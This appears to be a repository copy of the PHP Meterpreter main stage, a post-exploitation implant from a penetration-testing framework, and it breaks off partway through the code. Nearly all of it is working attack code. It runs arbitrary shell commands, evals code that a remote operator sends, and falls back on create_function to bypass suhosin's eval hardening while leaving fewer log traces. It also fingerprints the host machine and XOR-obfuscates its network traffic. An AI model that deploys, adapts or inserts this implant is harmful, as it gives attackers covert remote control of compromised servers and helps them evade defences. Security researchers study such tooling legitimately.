1544 lines
49 KiB
PHP
Executable File
1544 lines
49 KiB
PHP
Executable File
/*<?php /**/
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# Everything that needs to be global has to be made so explicitly so we can run
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# inside a call to create_user_func($user_input);
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# global list of channels
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if (!isset($GLOBALS['channels'])) {
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$GLOBALS['channels'] = array();
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}
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# global mapping of channels to channelized processes. This is how we know
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# if we need to kill a process when it's channel has been closed.
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if (!isset($GLOBALS['channel_process_map'])) {
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$GLOBALS['channel_process_map'] = array();
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}
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# global resource map. This is how we know whether to use socket or stream
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# functions on a channel.
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if (!isset($GLOBALS['resource_type_map'])) {
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$GLOBALS['resource_type_map'] = array();
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}
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# global map of sockets to the associated peer host.
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if (!isset($GLOBALS['udp_host_map'])) {
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$GLOBALS['udp_host_map'] = array();
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}
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# global list of resources we need to watch in the main select loop
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if (!isset($GLOBALS['readers'])) {
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$GLOBALS['readers'] = array();
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}
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# global map of command ids to callable handlers
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if (!isset($GLOBALS['id2f'])) {
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$GLOBALS['id2f'] = array();
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}
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function register_command($c, $i) {
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global $id2f;
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if (! in_array($i, $id2f)) {
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$id2f[$i] = $c;
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}
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}
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# Debugging payload definitions
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define("MY_DEBUGGING", false);
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define("MY_DEBUGGING_LOG_FILE_PATH", false);
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function my_logfile($str) {
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if (MY_DEBUGGING && MY_DEBUGGING_LOG_FILE_PATH) {
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if (!isset($GLOBALS['logfile'])) {
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$GLOBALS['logfile'] = fopen(MY_DEBUGGING_LOG_FILE_PATH, 'a');
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if (!$GLOBALS['logfile']) {
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my_print("Failed to open debug log file");
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}
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}
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if ($GLOBALS['logfile']) {
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fwrite($GLOBALS['logfile'], "$str\n");
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}
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}
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}
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function my_print($str) {
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if (MY_DEBUGGING) {
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error_log($str);
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my_logfile($str);
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}
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}
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my_print("Evaling main meterpreter stage");
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# Be very careful not to put a # anywhere that isn't a comment (e.g. inside a
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# string) as the comment remover will completely break this payload
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function dump_array($arr, $name=null) {
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if (is_null($name)) {
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$name = "Array";
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}
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my_print(sprintf("$name (%s)", count($arr)));
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foreach ($arr as $key => $val) {
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if (is_array($val)) {
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# recurse
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dump_array($val, "{$name}[{$key}]");
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} else {
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my_print(sprintf(" $key ($val)"));
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}
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}
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}
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function dump_readers() {
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global $readers;
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dump_array($readers, 'Readers');
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}
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function dump_resource_map() {
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global $resource_type_map;
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dump_array($resource_type_map, 'Resource map');
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}
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function dump_channels($extra="") {
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global $channels;
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dump_array($channels, 'Channels '.$extra);
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}
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# Doesn't exist before php 4.3
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if (!function_exists("file_get_contents")) {
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function file_get_contents($file) {
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$f = @fopen($file,"rb");
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$contents = false;
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if ($f) {
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do { $contents .= fgets($f); } while (!feof($f));
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}
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fclose($f);
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return $contents;
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}
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}
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# Renamed in php 4.3
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if (!function_exists('socket_set_option')) {
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function socket_set_option($sock, $type, $opt, $value) {
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socket_setopt($sock, $type, $opt, $value);
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}
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}
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#
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# Payload definitions
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#
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define("PAYLOAD_UUID", "");
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define("SESSION_GUID", "");
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#
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# Constants
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#
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define("AES_256_CBC", 'aes-256-cbc');
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define("ENC_NONE", 0);
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define("ENC_AES256", 1);
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define("PACKET_TYPE_REQUEST", 0);
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define("PACKET_TYPE_RESPONSE", 1);
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define("PACKET_TYPE_PLAIN_REQUEST", 10);
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define("PACKET_TYPE_PLAIN_RESPONSE", 11);
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define("ERROR_SUCCESS", 0);
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define("ERROR_FAILURE", 1);
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define("CHANNEL_CLASS_BUFFERED", 0);
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define("CHANNEL_CLASS_STREAM", 1);
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define("CHANNEL_CLASS_DATAGRAM", 2);
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define("CHANNEL_CLASS_POOL", 3);
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##
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# Windows Constants
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##
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define("WIN_AF_INET", 2);
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define("WIN_AF_INET6", 23);
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#
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# TLV Meta Types
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#
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define("TLV_META_TYPE_NONE", ( 0 ));
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define("TLV_META_TYPE_STRING", (1 << 16));
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define("TLV_META_TYPE_UINT", (1 << 17));
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define("TLV_META_TYPE_RAW", (1 << 18));
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define("TLV_META_TYPE_BOOL", (1 << 19));
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define("TLV_META_TYPE_QWORD", (1 << 20));
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define("TLV_META_TYPE_COMPRESSED", (1 << 29));
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define("TLV_META_TYPE_GROUP", (1 << 30));
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define("TLV_META_TYPE_COMPLEX", (1 << 31));
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# not defined in original
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define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16));
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#
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# TLV base starting points
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#
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define("TLV_RESERVED", 0);
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define("TLV_EXTENSIONS", 20000);
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define("TLV_USER", 40000);
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define("TLV_TEMP", 60000);
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#
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# TLV Specific Types
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#
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define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0);
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define("TLV_TYPE_COMMAND_ID", TLV_META_TYPE_UINT | 1);
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define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2);
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define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3);
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define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4);
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define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10);
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define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11);
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define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12);
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define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25);
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define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26);
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define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27);
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define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50);
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define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51);
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define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52);
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define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53);
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define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54);
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define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70);
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define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71);
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define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72);
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define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300);
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define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301);
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define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400);
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define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401);
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define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460);
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define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461);
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define("TLV_TYPE_SESSION_GUID", TLV_META_TYPE_RAW | 462);
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# Packet encryption
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define("TLV_TYPE_RSA_PUB_KEY", TLV_META_TYPE_RAW | 550);
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define("TLV_TYPE_SYM_KEY_TYPE", TLV_META_TYPE_UINT | 551);
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define("TLV_TYPE_SYM_KEY", TLV_META_TYPE_RAW | 552);
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define("TLV_TYPE_ENC_SYM_KEY", TLV_META_TYPE_RAW | 553);
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# ---------------------------------------------------------------
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# --- THIS CONTENT WAS GENERATED BY A TOOL @ 2020-05-01 05:33:39 UTC
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# IDs for core
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define('EXTENSION_ID_CORE', 0);
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define('COMMAND_ID_CORE_CHANNEL_CLOSE', 1);
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define('COMMAND_ID_CORE_CHANNEL_EOF', 2);
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define('COMMAND_ID_CORE_CHANNEL_INTERACT', 3);
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define('COMMAND_ID_CORE_CHANNEL_OPEN', 4);
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define('COMMAND_ID_CORE_CHANNEL_READ', 5);
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define('COMMAND_ID_CORE_CHANNEL_SEEK', 6);
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define('COMMAND_ID_CORE_CHANNEL_TELL', 7);
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define('COMMAND_ID_CORE_CHANNEL_WRITE', 8);
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define('COMMAND_ID_CORE_CONSOLE_WRITE', 9);
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define('COMMAND_ID_CORE_ENUMEXTCMD', 10);
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define('COMMAND_ID_CORE_GET_SESSION_GUID', 11);
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define('COMMAND_ID_CORE_LOADLIB', 12);
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define('COMMAND_ID_CORE_MACHINE_ID', 13);
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define('COMMAND_ID_CORE_MIGRATE', 14);
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define('COMMAND_ID_CORE_NATIVE_ARCH', 15);
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define('COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION', 16);
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define('COMMAND_ID_CORE_PATCH_URL', 17);
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define('COMMAND_ID_CORE_PIVOT_ADD', 18);
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define('COMMAND_ID_CORE_PIVOT_REMOVE', 19);
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define('COMMAND_ID_CORE_PIVOT_SESSION_DIED', 20);
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define('COMMAND_ID_CORE_SET_SESSION_GUID', 21);
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define('COMMAND_ID_CORE_SET_UUID', 22);
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define('COMMAND_ID_CORE_SHUTDOWN', 23);
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define('COMMAND_ID_CORE_TRANSPORT_ADD', 24);
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define('COMMAND_ID_CORE_TRANSPORT_CHANGE', 25);
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define('COMMAND_ID_CORE_TRANSPORT_GETCERTHASH', 26);
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define('COMMAND_ID_CORE_TRANSPORT_LIST', 27);
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define('COMMAND_ID_CORE_TRANSPORT_NEXT', 28);
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define('COMMAND_ID_CORE_TRANSPORT_PREV', 29);
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define('COMMAND_ID_CORE_TRANSPORT_REMOVE', 30);
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define('COMMAND_ID_CORE_TRANSPORT_SETCERTHASH', 31);
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define('COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS', 32);
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define('COMMAND_ID_CORE_TRANSPORT_SLEEP', 33);
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# ---------------------------------------------------------------
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function my_cmd($cmd) {
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return shell_exec($cmd);
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}
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function is_windows() {
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return (strtoupper(substr(PHP_OS,0,3)) == "WIN");
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}
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##
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# Worker functions
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##
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if (!function_exists('core_channel_open')) {
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register_command('core_channel_open', COMMAND_ID_CORE_CHANNEL_OPEN);
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function core_channel_open($req, &$pkt) {
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$type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE);
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my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do");
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# Doing it this way allows extensions to create new channel types without
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# needing to modify the core code.
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$handler = "channel_create_". $type_tlv['value'];
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if ($type_tlv['value'] && is_callable($handler)) {
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my_print("Calling {$handler}");
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$ret = $handler($req, $pkt);
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} else {
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my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =(");
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$ret = ERROR_FAILURE;
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}
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return $ret;
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}
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}
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# Works for streams
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if (!function_exists('core_channel_eof')) {
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register_command('core_channel_eof', COMMAND_ID_CORE_CHANNEL_EOF);
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function core_channel_eof($req, &$pkt) {
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my_print("doing channel eof");
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$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
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$c = get_channel_by_id($chan_tlv['value']);
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if ($c) {
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if (eof($c[1])) {
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1));
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} else {
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0));
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}
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return ERROR_SUCCESS;
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} else {
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return ERROR_FAILURE;
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}
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}
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}
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# Works
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if (!function_exists('core_channel_read')) {
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register_command('core_channel_read', COMMAND_ID_CORE_CHANNEL_READ);
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function core_channel_read($req, &$pkt) {
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my_print("doing channel read");
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$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
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$len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
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$id = $chan_tlv['value'];
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$len = $len_tlv['value'];
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$data = channel_read($id, $len);
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if ($data === false) {
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$res = ERROR_FAILURE;
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} else {
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
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$res = ERROR_SUCCESS;
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}
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return $res;
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}
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}
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# Works
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if (!function_exists('core_channel_write')) {
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register_command('core_channel_write', COMMAND_ID_CORE_CHANNEL_WRITE);
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function core_channel_write($req, &$pkt) {
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#my_print("doing channel write");
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$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
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$data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA);
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$len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
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$id = $chan_tlv['value'];
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$data = $data_tlv['value'];
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$len = $len_tlv['value'];
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$wrote = channel_write($id, $data, $len);
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if ($wrote === false) {
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return ERROR_FAILURE;
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} else {
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packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote));
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return ERROR_SUCCESS;
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}
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}
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}
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#
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# This is called when the client wants to close a channel explicitly.
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#
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if (!function_exists('core_channel_close')) {
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register_command('core_channel_close', COMMAND_ID_CORE_CHANNEL_CLOSE);
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function core_channel_close($req, &$pkt) {
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global $channel_process_map;
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# XXX remove the closed channel from $readers
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my_print("doing channel close");
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$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
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$id = $chan_tlv['value'];
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$c = get_channel_by_id($id);
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if ($c) {
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# We found a channel, close its stdin/stdout/stderr
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channel_close_handles($id);
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# This is an explicit close from the client, always remove it from the
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# list, even if it has data.
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channel_remove($id);
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# if the channel we're closing is associated with a process, kill the
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# process
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# Make sure the stdapi function for closing a process handle is
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# available before trying to clean up
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if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) {
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close_process($channel_process_map[$id]);
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}
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return ERROR_SUCCESS;
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}
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dump_channels("after close");
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return ERROR_FAILURE;
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}
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}
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#
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# Destroy a channel and all associated handles.
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#
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if (!function_exists('channel_close_handles')) {
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function channel_close_handles($cid) {
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global $channels;
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# Sanity check - make sure a channel with the given cid exists
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if (!array_key_exists($cid, $channels)) {
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return;
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}
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$c = $channels[$cid];
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for($i = 0; $i < 3; $i++) {
|
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#my_print("closing channel fd $i, {$c[$i]}");
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if (array_key_exists($i, $c) && is_resource($c[$i])) {
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close($c[$i]);
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# Make sure the main loop doesn't select on this resource after we
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# close it.
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remove_reader($c[$i]);
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}
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}
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|
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# axe it from the list only if it doesn't have any leftover data
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if (strlen($c['data']) == 0) {
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channel_remove($cid);
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}
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}
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}
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function channel_remove($cid) {
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global $channels;
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unset($channels[$cid]);
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}
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|
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if (!function_exists('core_channel_interact')) {
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register_command('core_channel_interact', COMMAND_ID_CORE_CHANNEL_INTERACT);
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function core_channel_interact($req, &$pkt) {
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global $readers;
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my_print("doing channel interact");
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$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
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$id = $chan_tlv['value'];
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# True means start interacting, False means stop
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$toggle_tlv = packet_get_tlv($req, TLV_TYPE_BOOL);
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$c = get_channel_by_id($id);
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if ($c) {
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if ($toggle_tlv['value']) {
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# Start interacting. If we're already interacting with this
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# channel, it's an error and we should return failure.
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if (!in_array($c[1], $readers)) {
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# stdout
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add_reader($c[1]);
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# Make sure we don't add the same resource twice in the case
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# that stdin == stderr
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if (array_key_exists(2, $c) && $c[1] != $c[2]) {
|
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# stderr
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add_reader($c[2]);
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}
|
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$ret = ERROR_SUCCESS;
|
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} else {
|
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# Already interacting
|
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$ret = ERROR_FAILURE;
|
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}
|
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} else {
|
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# Stop interacting. If we're not interacting yet with this
|
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# channel, it's an error and we should return failure.
|
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if (in_array($c[1], $readers)) {
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remove_reader($c[1]); # stdout
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remove_reader($c[2]); # stderr
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$ret = ERROR_SUCCESS;
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} else {
|
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# Not interacting. This is technically failure, but it seems
|
|
# the client sends us two of these requests in quick succession
|
|
# causing the second one to always return failure. When that
|
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# happens we fail to clean up properly, so always return
|
|
# success here.
|
|
$ret = ERROR_SUCCESS;
|
|
}
|
|
}
|
|
} else {
|
|
# Not a valid channel
|
|
my_print("Trying to interact with an invalid channel");
|
|
$ret = ERROR_FAILURE;
|
|
}
|
|
return $ret;
|
|
}
|
|
}
|
|
|
|
function interacting($cid) {
|
|
global $readers;
|
|
$c = get_channel_by_id($cid);
|
|
if (in_array($c[1], $readers)) {
|
|
return true;
|
|
}
|
|
return false;
|
|
}
|
|
|
|
|
|
if (!function_exists('core_shutdown')) {
|
|
register_command('core_shutdown', COMMAND_ID_CORE_SHUTDOWN);
|
|
function core_shutdown($req, &$pkt) {
|
|
my_print("doing core shutdown");
|
|
die();
|
|
}
|
|
}
|
|
|
|
# zlib support is not compiled in by default, so this makes sure the library
|
|
# isn't compressed before eval'ing it
|
|
# TODO: check for zlib support and decompress if possible
|
|
if (!function_exists('core_loadlib')) {
|
|
register_command('core_loadlib', COMMAND_ID_CORE_LOADLIB);
|
|
function core_loadlib($req, &$pkt) {
|
|
global $id2f;
|
|
my_print("doing core_loadlib");
|
|
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
|
|
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
|
|
return ERROR_FAILURE;
|
|
}
|
|
$tmp = $id2f;
|
|
# We might not be able to use `eval` here because of some hardening
|
|
# (for example, suhosin), so we walk around by using `create_function` instead,
|
|
# but since this funcis deprecated since php 7.2+, we're not using it
|
|
# when we can avoid it, since it might leave some traces in the log files.
|
|
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
|
|
$suhosin_bypass=create_function('', $data_tlv['value']);
|
|
$suhosin_bypass();
|
|
} else {
|
|
eval($data_tlv['value']);
|
|
}
|
|
$new = array_diff($id2f, $tmp);
|
|
foreach ($new as $id => $func) {
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UINT, $id));
|
|
}
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
}
|
|
|
|
|
|
if (!function_exists('core_enumextcmd')) {
|
|
register_command('core_enumextcmd', COMMAND_ID_CORE_ENUMEXTCMD);
|
|
function core_enumextcmd($req, &$pkt) {
|
|
my_print("doing core_enumextcmd");
|
|
|
|
global $id2f;
|
|
|
|
$id_start_array = packet_get_tlv($req, TLV_TYPE_UINT);
|
|
$id_start = $id_start_array['value'];
|
|
$id_end_array = packet_get_tlv($req, TLV_TYPE_LENGTH);
|
|
$id_end = $id_end_array['value'] + $id_start;
|
|
|
|
foreach ($id2f as $id => $ext_cmd) {
|
|
my_print("core_enumextcmd - checking " . $ext_cmd . " as " . $id);
|
|
list($ext_name, $cmd) = explode("_", $ext_cmd, 2);
|
|
if ($id_start < $id && $id < $id_end) {
|
|
my_print("core_enumextcmd - adding " . $ext_cmd . " as " . $id);
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UINT, $id));
|
|
}
|
|
}
|
|
return ERROR_SUCCESS;
|
|
}
|
|
}
|
|
|
|
if (!function_exists('core_set_uuid')) {
|
|
register_command('core_set_uuid', COMMAND_ID_CORE_SET_UUID);
|
|
function core_set_uuid($req, &$pkt) {
|
|
my_print("doing core_set_uuid");
|
|
$new_uuid = packet_get_tlv($req, TLV_TYPE_UUID);
|
|
if ($new_uuid != null) {
|
|
$GLOBALS['UUID'] = $new_uuid['value'];
|
|
my_print("New UUID is {$GLOBALS['UUID']}");
|
|
}
|
|
return ERROR_SUCCESS;
|
|
}
|
|
}
|
|
|
|
|
|
function get_hdd_label() {
|
|
foreach (scandir('/dev/disk/by-id/') as $file) {
|
|
foreach (array("ata-", "mb-") as $prefix) {
|
|
if (strpos($file, $prefix) === 0) {
|
|
return substr($file, strlen($prefix));
|
|
}
|
|
}
|
|
}
|
|
return "";
|
|
}
|
|
|
|
function der_to_pem($der_data) {
|
|
$pem = chunk_split(base64_encode($der_data), 64, "\n");
|
|
$pem = "-----BEGIN PUBLIC KEY-----\n".$pem."-----END PUBLIC KEY-----\n";
|
|
return $pem;
|
|
}
|
|
|
|
if (!function_exists('core_negotiate_tlv_encryption')) {
|
|
register_command('core_negotiate_tlv_encryption', COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION);
|
|
function core_negotiate_tlv_encryption($req, &$pkt) {
|
|
if (supports_aes()) {
|
|
my_print("AES functionality is supported");
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_SYM_KEY_TYPE, ENC_AES256));
|
|
$GLOBALS['AES_ENABLED'] = false;
|
|
$GLOBALS['AES_KEY'] = rand_bytes(32);
|
|
if (function_exists('openssl_pkey_get_public') && function_exists('openssl_public_encrypt')) {
|
|
my_print("Encryption via public key is supported");
|
|
$pub_key_tlv = packet_get_tlv($req, TLV_TYPE_RSA_PUB_KEY);
|
|
if ($pub_key_tlv != null) {
|
|
$key = openssl_pkey_get_public(der_to_pem($pub_key_tlv['value']));
|
|
$enc = '';
|
|
openssl_public_encrypt($GLOBALS['AES_KEY'], $enc, $key, OPENSSL_PKCS1_PADDING);
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENC_SYM_KEY, $enc));
|
|
return ERROR_SUCCESS;
|
|
}
|
|
}
|
|
|
|
# add the raw aes key at this point as it means the encrypt version didn't go out.
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_SYM_KEY, $GLOBALS['AES_KEY']));
|
|
}
|
|
return ERROR_SUCCESS;
|
|
}
|
|
}
|
|
|
|
if (!function_exists('core_get_session_guid')) {
|
|
register_command('core_get_session_guid', COMMAND_ID_CORE_GET_SESSION_GUID);
|
|
function core_get_session_guid($req, &$pkt) {
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_SESSION_GUID, $GLOBALS['SESSION_GUID']));
|
|
return ERROR_SUCCESS;
|
|
}
|
|
}
|
|
|
|
if (!function_exists('core_set_session_guid')) {
|
|
register_command('core_set_session_guid', COMMAND_ID_CORE_SET_SESSION_GUID);
|
|
function core_set_session_guid($req, &$pkt) {
|
|
my_print("doing core_set_session_guid");
|
|
$new_guid = packet_get_tlv($req, TLV_TYPE_SESSION_GUID);
|
|
if ($new_guid != null) {
|
|
$GLOBALS['SESSION_ID'] = $new_guid['value'];
|
|
my_print("New Session GUID is {$GLOBALS['SESSION_GUID']}");
|
|
}
|
|
return ERROR_SUCCESS;
|
|
}
|
|
}
|
|
|
|
if (!function_exists('core_machine_id')) {
|
|
register_command('core_machine_id', COMMAND_ID_CORE_MACHINE_ID);
|
|
function core_machine_id($req, &$pkt) {
|
|
my_print("doing core_machine_id");
|
|
if (is_callable('gethostname')) {
|
|
# introduced in 5.3
|
|
$machine_id = gethostname();
|
|
} else {
|
|
$machine_id = php_uname('n');
|
|
}
|
|
$serial = "";
|
|
|
|
if (is_windows()) {
|
|
# It's dirty, but there's not really a nicer way of doing this on windows. Make sure
|
|
# it's lowercase as this is what the other meterpreters use.
|
|
$output = strtolower(shell_exec("vol %SYSTEMDRIVE%"));
|
|
$serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '$1', $output);
|
|
} else {
|
|
$serial = get_hdd_label();
|
|
}
|
|
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_MACHINE_ID, $serial.":".$machine_id));
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
|
|
##
|
|
# Channel Helper Functions
|
|
##
|
|
}
|
|
$channels = array();
|
|
|
|
function register_channel($in, $out=null, $err=null) {
|
|
global $channels;
|
|
if ($out == null) { $out = $in; }
|
|
if ($err == null) { $err = $out; }
|
|
$channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in), 'data' => '');
|
|
|
|
# Grab the last index and use it as the new ID.
|
|
$id = end(array_keys($channels));
|
|
my_print("Created new channel $in, with id $id");
|
|
return $id;
|
|
}
|
|
|
|
#
|
|
# Channels look like this:
|
|
#
|
|
# Array
|
|
# (
|
|
# [0] => Array
|
|
# (
|
|
# [0] => Resource id #12
|
|
# [1] => Resource id #13
|
|
# [2] => Resource id #14
|
|
# [type] => 'stream'
|
|
# [data] => '...'
|
|
# )
|
|
# )
|
|
#
|
|
function get_channel_id_from_resource($resource) {
|
|
global $channels;
|
|
if (empty($channels)) {
|
|
return false;
|
|
}
|
|
foreach ($channels as $i => $chan_ary) {
|
|
if (in_array($resource, $chan_ary)) {
|
|
my_print("Found channel id $i");
|
|
return $i;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
function &get_channel_by_id($chan_id) {
|
|
global $channels;
|
|
my_print("Looking up channel id $chan_id");
|
|
#dump_channels("in get_channel_by_id");
|
|
if (array_key_exists($chan_id, $channels)) {
|
|
my_print("Found one");
|
|
return $channels[$chan_id];
|
|
} else {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
# Write data to the channel's stdin
|
|
function channel_write($chan_id, $data) {
|
|
$c = get_channel_by_id($chan_id);
|
|
if ($c && is_resource($c[0])) {
|
|
my_print("---Writing '$data' to channel $chan_id");
|
|
return write($c[0], $data);
|
|
} else {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
# Read from the channel's stdout
|
|
function channel_read($chan_id, $len) {
|
|
$c = &get_channel_by_id($chan_id);
|
|
if ($c) {
|
|
# First get any pending unread data from a previous read
|
|
$ret = substr($c['data'], 0, $len);
|
|
$c['data'] = substr($c['data'], $len);
|
|
if (strlen($ret) > 0) { my_print("Had some leftovers: '$ret'"); }
|
|
|
|
# Next grab stderr if we have it and it's not the same file descriptor
|
|
# as stdout.
|
|
if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) {
|
|
# Read as much as possible into the channel's data buffer
|
|
$read = read($c[2]);
|
|
$c['data'] .= $read;
|
|
|
|
# Now slice out however much the client asked for. If there's any
|
|
# left over, they'll get it next time. If it doesn't add up to
|
|
# what they requested, oh well, they'll just have to call read
|
|
# again. Looping until we get the requested number of bytes is
|
|
# inconsistent with win32 meterpreter and causes the whole php
|
|
# process to block waiting on input.
|
|
$bytes_needed = $len - strlen($ret);
|
|
$ret .= substr($c['data'], 0, $bytes_needed);
|
|
$c['data'] = substr($c['data'], $bytes_needed);
|
|
}
|
|
|
|
# Then if there's still room, grab stdout
|
|
if (strlen($ret) < $len and is_resource($c[1])) {
|
|
# Same as above, but for stdout. This will overwrite a false
|
|
# return value from reading stderr but the two should generally
|
|
# EOF at the same time, so it should be fine.
|
|
$read = read($c[1]);
|
|
$c['data'] .= $read;
|
|
$bytes_needed = $len - strlen($ret);
|
|
$ret .= substr($c['data'], 0, $bytes_needed);
|
|
$c['data'] = substr($c['data'], $bytes_needed);
|
|
}
|
|
|
|
# In the event of one or the other of the above read()s returning
|
|
# false, make sure we have sent any pending unread data before saying
|
|
# EOF by returning false. Note that if they didn't return false, it is
|
|
# perfectly legitimate to return an empty string which just means
|
|
# there's no data right now but we haven't hit EOF yet.
|
|
if (false === $read and empty($ret)) {
|
|
if (interacting($chan_id)) {
|
|
handle_dead_resource_channel($c[1]);
|
|
}
|
|
return false;
|
|
}
|
|
return $ret;
|
|
} else {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
function rand_xor_byte() {
|
|
return chr(mt_rand(1, 255));
|
|
}
|
|
|
|
function rand_bytes($size) {
|
|
$b = '';
|
|
for ($i = 0; $i < $size; $i++) {
|
|
$b .= rand_xor_byte();
|
|
}
|
|
return $b;
|
|
}
|
|
|
|
function rand_xor_key() {
|
|
return rand_bytes(4);
|
|
}
|
|
|
|
function xor_bytes($key, $data) {
|
|
$result = '';
|
|
|
|
for ($i = 0; $i < strlen($data); ++$i) {
|
|
$result .= $data[$i] ^ $key[$i % 4];
|
|
}
|
|
|
|
return $result;
|
|
}
|
|
|
|
|
|
##
|
|
# TLV Helper Functions
|
|
##
|
|
|
|
function generate_req_id() {
|
|
$characters = 'abcdefghijklmnopqrstuvwxyz';
|
|
$rid = '';
|
|
|
|
for ($p = 0; $p < 32; $p++) {
|
|
$rid .= $characters[rand(0, strlen($characters)-1)];
|
|
}
|
|
|
|
return $rid;
|
|
}
|
|
|
|
function supports_aes() {
|
|
return function_exists('openssl_decrypt') && function_exists('openssl_encrypt');
|
|
}
|
|
|
|
function decrypt_packet($raw) {
|
|
$len_array = unpack("Nlen", substr($raw, 20, 4));
|
|
$encrypt_flags = $len_array['len'];
|
|
if ($encrypt_flags == ENC_AES256 && supports_aes() && $GLOBALS['AES_KEY'] != null) {
|
|
$tlv = substr($raw, 24);
|
|
$dec = openssl_decrypt(substr($tlv, 24), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, substr($tlv, 8, 16));
|
|
return pack("N", strlen($dec) + 8) . substr($tlv, 4, 4) . $dec;
|
|
}
|
|
return substr($raw, 24);
|
|
}
|
|
|
|
function encrypt_packet($raw) {
|
|
if (supports_aes() && $GLOBALS['AES_KEY'] != null) {
|
|
if ($GLOBALS['AES_ENABLED'] === true) {
|
|
$iv = rand_bytes(16);
|
|
$enc = $iv . openssl_encrypt(substr($raw, 8), AES_256_CBC, $GLOBALS['AES_KEY'], OPENSSL_RAW_DATA, $iv);
|
|
$hdr = pack("N", strlen($enc) + 8) . substr($raw, 4, 4);
|
|
return $GLOBALS['SESSION_GUID'] . pack("N", ENC_AES256) . $hdr . $enc;
|
|
}
|
|
$GLOBALS['AES_ENABLED'] = true;
|
|
}
|
|
|
|
return $GLOBALS['SESSION_GUID'] . pack("N", ENC_NONE) . $raw;
|
|
}
|
|
|
|
function write_tlv_to_socket($resource, $raw) {
|
|
$xor = rand_xor_key();
|
|
# default to unecrypted traffic
|
|
write($resource, $xor . xor_bytes($xor, encrypt_packet($raw)));
|
|
}
|
|
|
|
function handle_dead_resource_channel($resource) {
|
|
global $msgsock;
|
|
|
|
if (!is_resource($resource)) {
|
|
return;
|
|
}
|
|
|
|
$cid = get_channel_id_from_resource($resource);
|
|
if ($cid === false) {
|
|
my_print("Resource has no channel: {$resource}");
|
|
|
|
# Make sure the provided resource gets closed regardless of it's status
|
|
# as a channel
|
|
remove_reader($resource);
|
|
close($resource);
|
|
} else {
|
|
my_print("Handling dead resource: {$resource}, for channel: {$cid}");
|
|
|
|
# Make sure we close other handles associated with this channel as well
|
|
channel_close_handles($cid);
|
|
|
|
# Notify the client that this channel is dead
|
|
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
